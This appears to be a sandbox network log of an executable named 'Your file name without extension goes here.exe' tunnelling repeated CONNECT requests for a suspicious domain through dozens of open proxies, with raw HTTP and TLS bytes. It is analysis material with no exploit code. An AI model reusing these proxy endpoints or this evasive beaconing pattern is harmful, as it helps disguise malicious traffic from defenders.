Mar 11, 2024 15:21:06.967156887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.9	51716	115.96.208.124	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.827461958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.841070890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.9	53135	117.160.250.133	8899	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.909869909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.294078112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.064136982 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.9	53418	198.44.255.3	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.911185026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.9	53403	20.206.106.192	8123	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.911289930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.739986897 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.9	52818	191.101.80.162	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.911739111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.903548956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.997344017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.997567892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.091001034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:43.090671062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:55.090790987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:19.090603113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:07.090573072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.9	53541	192.169.214.249	45108	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.912669897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.9	52852	192.163.200.80	59559	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.915780067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.903558016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.997359037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.997606039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.091001034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:43.092905998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:55.090852976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.9	53341	117.160.250.138	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.918088913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.137885094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.798778057 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.9	53483	147.75.92.244	9401	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.919693947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.196129084 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.9	53438	147.75.34.86	10008	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.920979977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.227626085 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.9	53544	192.154.244.92	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.921144009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.9	53460	147.75.34.86	10003	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.923638105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.225981951 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.9	52904	165.227.95.2	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.927275896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.042413950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200537920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.200511932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.200076103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:43.215677023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:55.219001055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:19.215672016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.9	51681	163.172.147.9	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.933830976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.028594017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.138024092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.140934944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:31.143290043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:43.340675116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:55.340667963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:19.434385061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:07.449862957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.9	53629	43.135.159.78	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.941195011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.9	53632	43.135.159.78	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.942866087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.9	53480	58.234.116.197	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.943407059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.9	53634	43.135.159.78	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.944629908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.9	53637	43.135.159.78	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.945851088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.9	53557	199.188.93.163	9000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.952864885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.9	52862	160.248.80.91	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.972111940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.634987116 CET	58	IN	HTTP/1.1 200 Connection established Connection: close
Mar 11, 2024 15:21:07.664061069 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 13 53 7e d8 1a 65 5d 83 ad 53 5f 78 33 fd 78 1c dd 8f 46 92 1e 58 ec 04 73 bb 17 f5 3c 04 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eS~e]S_x3xFXs<*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#)[jBDg5{HG_<'/lyZzj{rU
Mar 11, 2024 15:21:08.310530901 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 13 53 08 30 ee 32 c4 85 bd 13 ea 62 c8 03 a5 e3 dd 68 00 81 c5 bd 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?eS02bhDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
